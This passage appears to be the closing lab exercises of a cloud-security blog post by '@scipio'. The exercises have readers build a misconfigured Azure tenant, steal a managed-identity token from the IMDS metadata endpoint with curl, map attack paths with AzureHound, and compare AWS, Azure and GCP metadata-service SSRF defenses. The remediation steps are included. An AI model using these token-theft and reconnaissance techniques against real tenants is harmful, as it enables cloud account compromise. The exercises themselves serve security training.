Exercise 1: Set up an Azure free account. Create: (a) a Storage Account with a container set to "Blob" public access containing a test file, (b) a VM with a System-Assigned Managed Identity that has "Reader" role on the subscription. Access the public blob anonymously from your attack machine. Then from the VM, use curl with the Metadata:true header to steal the Managed Identity token via the IMDS endpoint. Verify you can list subscription resources with the stolen token using the Azure REST API. Then fix both: disable public blob access on the Storage Account and scope the Managed Identity down to minimum required permissions. Document the full attack and remediation chain.

Exercise 2: Research AzureHound (https://github.com/BloodHoundAD/AzureHound). Set up BloodHound with Azure data from a test tenant (Azure free tier). Document: (a) what Azure-specific relationship types AzureHound maps versus on-prem SharpHound, (b) the top 3 most dangerous Azure AD misconfigurations it identifies in your test environment, (c) how Azure attack paths differ from the on-prem AD attack paths we explored in episode 33. Save your analysis to ~/lab-notes/azurehound-analysis.md.

Exercise 3: Build a cross-cloud metadata service comparison table. For AWS, Azure, and GCP, document: (a) the metadata endpoint URL and any aliases, (b) what authentication headers are required (IMDSv2 token, Metadata:true, Metadata-Flavor), (c) what credentials are available through the metadata endpoint, (d) what SSRF protections exist natively, (e) what the recommended defense configuration is. Then answer: if an attacker finds an SSRF vulnerability that allows custom headers, which cloud's metadata service is most resilient and why? Save to ~/lab-notes/cloud-metadata-comparison.md.


Thanks for reading!

@scipio



0
0
0.000
0 comments